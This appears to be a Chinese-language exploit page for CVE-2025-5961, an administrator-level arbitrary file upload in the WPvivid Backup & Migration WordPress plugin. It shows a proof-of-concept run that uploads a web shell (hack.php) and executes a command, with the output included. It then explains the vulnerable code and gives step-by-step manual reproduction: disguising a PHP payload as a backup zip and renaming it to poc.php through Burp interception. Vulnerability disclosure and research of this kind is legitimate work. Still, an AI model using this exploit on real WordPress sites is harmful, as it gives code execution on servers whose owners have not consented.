CVE-2025-5961

迁移、备份、暂存 – WPvivid Backup & Migration <= 0.9.116 - 已认证（管理员及以上）任意文件上传

wpvivid-backuprestore 插件未对 wpvivid_upload_import_files 操作的文件类型进行清理，允许管理员及以上用户上传任意文件，并可能因此在服务器上实现代码执行。注意：上传的文件仅可在运行 NGINX Web 服务器的 WordPress 实例上访问，因为目标文件上传文件夹中现有的 .htaccess 会阻止在 Apache 服务器上的访问。

TL;DR 漏洞利用

提供了一个 POC CVE-2025-5961.py，用于演示管理员上传名为 hack.php 的 Web Shell。

 python3 ./CVE-2025-5961.py https://lab1.hacker admin password
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
ajax_nonce: e4d4bec9f0
Uploading web shell: hack.php
{"result":"success"}

Web Shell At: https://lab1.hacker/wp-content/wpvividbackups/ImportandExport/hack.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 78309sec preferred_lft 78309sec
    inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86105sec preferred_lft 14105sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:63:2d:a4:f2 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

详情

wpvivid_upload_import_files 操作在 /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-export-import.php 的第 2210 行调用了 upload_files 函数，且未强制执行任何文件类型验证。

第 2235 行按如下方式设置 $file_name：

$file_name=basename(sanitize_text_field($_POST['name']));

然后，$file_name 变量在第 2246 行被用于将文件写入文件系统。

$file_handle = fopen($path.$file_name, 'wb');

手动复现

由于我们手动执行，请创建一个恶意文件以通过前端验证。在终端中输入以下内容：

echo "<?php phpinfo(); ?>" >>  wpvivid-0000000000000_1969-04-20-00-00_export_post.zip

登录管理面板并导航至 WPvivid Backup 标签页。
从侧边菜单中选择 Export & Import 选项，然后选择 Import 标签页。
启动 Burp Suite 或类似工具，开始拦截流量。
点击 Upload and Import 按钮，然后选择我们在第零步创建的 wpvivid-0000000000000_1969-04-20-00-00_export_post.zip 文件。
第一个 POST 请求将包含类似以下内容，请将该请求转发出去：

POST /wp-admin/admin-ajax.php HTTP/2
...
...
...
action=wpvivid_check_import_file&file_name=wpvivid-0000000000000_1969-04-20-00-00_export_post.zip&nonce=5c83c6b97b

修改下一个包含表单数据的请求，将文件名设置为 poc.php：
导航至 https://THEWEBSITE.com/wp-content/wpvividbackups/ImportandExport/poc.php 以执行概念验证。

CVE-2025-5961

最受欢迎

CVE-2025-5961

迁移、备份、暂存 – WPvivid Backup & Migration <= 0.9.116 - 已认证（管理员及以上）任意文件上传

TL;DR 漏洞利用

详情

手动复现